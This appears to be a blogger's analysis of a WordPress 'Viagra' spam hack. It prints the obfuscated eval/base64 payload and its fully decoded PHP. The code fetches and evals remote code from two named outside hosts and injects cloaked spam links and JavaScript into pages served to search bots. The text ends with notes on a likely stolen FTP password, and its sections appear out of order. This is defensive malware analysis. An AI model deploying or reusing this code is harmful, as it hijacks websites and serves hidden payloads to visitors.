tXKlNHbhZWP90TKnkTO58FbyV3Y5JHdngyc0NXa4V2Xu9Wa0Nmb1ZGKmlmCN0Xf7cyJg4mc1RXZytDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzX0V2aj92c5JHdA1DduVGdu92YksDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzXuVGcvt2YvNnZ5JHdA1DduVGdu92YksDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzXuVGcvZWeyRHQ9QnblRnbvNGJ7QnblRnbvNGJg4mc1RXZylSZzxWYm1TPhQnblRnbvNGJoYWa7kCbyVHJokTO58VZslmZ5JHdA1DduVGdu92YksDduVGdu92YkAibyVHdlJXKlNHbhZWP9ECduVGdu92YkgiZptTKsJXdkgSO5kzXsJXdjlnc0BUP05WZ052bjRyOiISP05WZ052bjRyepwmc1RCK5kTOfxmc19FdldGIu9Wa0Nmb1Z2epU2csFmZ90TPpcSO5kzXsJXdfRXZndCKzR3cphXZf52bpR3YuVnZoYWa"(edoced_46esab(lave');

$reversed_malware = strrev($malware);
$decoded_malware = base64_decode($reversed_malware);
file_put_contents('malware_decoded.php', $decoded_malware);
?>
]]>

the decoded hack


<![CDATA[

// ASCII garbage removed

if(function_exists('get_url_999')===false){function get_url_999($url){$content="";$content=@trycurl_999($url);if($content!==false)return $content;$content=@tryfile_999($url);if($content!==false)return $content;$content=@tryfopen_999($url);if($content!==false)return $content;$content=@tryfsockopen_999($url);if($content!==false)return $content;$content=@trysocket_999($url);if($content!==false)return $content;return '';}}
if(function_exists('trycurl_999')===false){function trycurl_999($url){if(function_exists('curl_init')===false)return false;$ch = curl_init ();curl_setopt ($ch, CURLOPT_URL,$url);curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt ($ch, CURLOPT_TIMEOUT, 5);curl_setopt ($ch, CURLOPT_HEADER, 0);$result = curl_exec ($ch);curl_close($ch);if ($result=="")return false;return $result;}}
if(function_exists('tryfile_999')===false){function tryfile_999($url){if(function_exists('file')===false)return false;$inc=@file($url);$buf=@implode('',$inc);if ($buf=="")return false;return $buf;}}
if(function_exists('tryfopen_999')===false){function tryfopen_999($url){if(function_exists('fopen')===false)return false;$buf='';$f=@fopen($url,'r');if ($f){while(!feof($f)){$buf.=fread($f,10000);}fclose($f);}else return false;if ($buf=="")return false;return $buf;}}
if(function_exists('tryfsockopen_999')===false){function tryfsockopen_999($url){if(function_exists('fsockopen')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$f=@fsockopen($host,80,$errno, $errstr,30);if(!$f)return false;$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";fwrite($f,$request);$buf='';while(!feof($f)){$buf.=fread($f,10000);}fclose($f);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}}
if(function_exists('trysocket_999')===false){function trysocket_999($url){if(function_exists('socket_create')===false)return false;$p=@parse_url($url);$host=$p['host'];$uri=$p['path'].'?'.$p['query'];$ip1=@gethostbyname($host);$ip2=@long2ip(@ip2long($ip1)); if ($ip1!=$ip2)return false;$sock=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);if (!@socket_connect($sock,$ip1,80)){@socket_close($sock);return false;}$request ="GET $uri HTTP/1.0\n";$request.="Host: $host\n\n";socket_write($sock,$request);$buf='';while($t=socket_read($sock,10000)){$buf.=$t;}@socket_close($sock);if ($buf=="")return false;list($m,$buf)=explode(chr(13).chr(10).chr(13).chr(10),$buf);return $buf;}}
if(function_exists('str_replace_first')===false){function str_replace_first($search, $replace, $subject) {$pos = stripos($subject, $search);if ($pos !== false) {	$subject = substr_replace($subject, $replace, $pos, strlen($search));}	return $subject;}}
if(function_exists('is_bot_ua')===false){function is_bot_ua(){$bot=0;$ua=@$_SERVER['HTTP_USER_AGENT'];if (stristr($ua,"msnbot")||stristr($ua,"Yahoo"))$bot=1;if (stristr($ua,"bingbot")||stristr($ua,"googlebot"))$bot=1;return $bot;}}
if(function_exists('is_googlebot_ip')===false){function is_googlebot_ip(){$k=0;$ip=sprintf("%u",@ip2long(@$_SERVER["REMOTE_ADDR"]));if (($ip>=1123631104)&&($ip<=1123639295))$k=1;return $k;}}

if(function_exists('update_file_999')===false){
function update_file_999(){

	$uri="g.php?t=m&i=5bcd9afaf2bb10022ea77d02d8571dda";
	$actual1="http://nlinthewood.com/".$uri;
	$actual2="http://cooperjsutf8.ru/".$uri;
	$val=get_url_999($actual1);
	if ($val=="")$val=get_url_999($actual2);
	if (strstr($val,"|||CODE|||")){
		list($val,$code)=explode("|||CODE|||",$val);
		eval(base64_decode($code));
	}
	return $val;
}
}


if(function_exists('callback_function_php')===false){
function callback_function_php($p) {

	if (isset($_COOKIE['wordpress_test_cookie']) || isset($_COOKIE['wp-settings-1']) || isset($_COOKIE['wp-settings-time-1']) || (function_exists('is_user_logged_in') && is_user_logged_in()) ) {
		return $p;
	}

	if (stristr($_SERVER['REQUEST_URI'],"xmlrpc.php")){
		return $p;
	}

	if (stristr($_SERVER['REQUEST_URI'],"wp-login")){
		return $p;
	}

	if (stristr($_SERVER['REQUEST_URI'],"wp-admin")){
		return $p;
	}


	$x='{options_names}';
	$buf="";
	$update=0;
	$k = get_option($x);
	if ($k===FALSE){
		$emp=array();
		if (!add_option($x,$emp,'','no')){
			return $p;
		}
		$update=1;
	}else{
		$ctime=time()-@$k[1];
		if ($ctime>3600*12){
			$update=1;
		}
		
	}
	if ($update){
		$val=update_file_999();
		$k=array();
		$k[0]=$val;
		$k[1]=time();
		if (!update_option($x,$k)){
			return $p;
		}
	}
	if (!$k = get_option($x)){
		return $p;
	}

	$buf=@$k[0];
	if ($buf==""){
		return $p;
	}
	list($type,$text)=@explode("|||",$buf);
	if ($text=="")return $p;

	$type+=0;
	$bot=0;
	if ($type==0){
		$buf1=@base64_decode($text);
		list($tagjs,$js,$tagtext1,$text1)=@explode("|||",$buf1);

		if (stristr($p,$text1))return $p;

		if (($tagjs!="")&&(stristr($p,$tagjs))){
			$p=str_replace_first($tagjs, $js." ".$tagjs, $p);
		}else{
			$p=$p.$js;
		}
		if (($tagtext1!="")&&(stristr($p,$tagtext1))){
			$p=str_replace_first($tagtext1, $text1." ".$tagtext1, $p);
		}else{
			$p=$p.$text1;
		}
		
	}else
	if (($type==1)||($type==2)||($type==3)||($type==4)){
		if (($type==1)||($type==4)){
			$bot=is_bot_ua();
		}
		if (($type==2)||($type==3)){
			$bot=is_googlebot_ip();
		}

		if ($bot){
			$buf1=@base64_decode($text);
			list($tag,$text1)=@explode("|||",$buf1);
			if (($tag!="")&&($text1!="")){

				if (stristr($p,$tag)){
					if (($type==3)||($type==4)){
						$p=@str_ireplace($tag,$tag." ".$text1,$p); 
					}else{
						$p=str_replace_first($tag, $tag." ".$text1, $p);
					}
				}else{
					$p=$p.$text1;
				}
			}

		}
	}


	return $p; 
} 
}

if(function_exists('ob_start')){
	ob_start("callback_function_php");
}

]]>

very brief commentary

It is remotely possible that the ASCII "garbage" isn't garbage, but I'll let you decode and ponder that--exercise to the reader. Beyond that, see the Dyslexic Mayans link above.

How this Happened

The owner of the affected site got a Windows virus weeks before the hack. I suspect the site's FTP password was stolen at that point.

With that said, I need to look at the Apache access and error logs for the relevant timestamp. Unfortunately, I do not have access to "syslog," "auth.log," and other Linux files. The site is on a shared host.

Disclaimer about both WordPress and Viagra

This incident is very unlikely to be WordPress' "fault." It was probably a hack at the FTP level, which WordPress has no control over.

As for Viagra, the links didn't go to pages having anything to do with Viagra. I otherwise have no reason to believe the makers of Viagra had anything to do with this.

yet another variant of the WordPress Viagra hack and how to fix it

The Symptom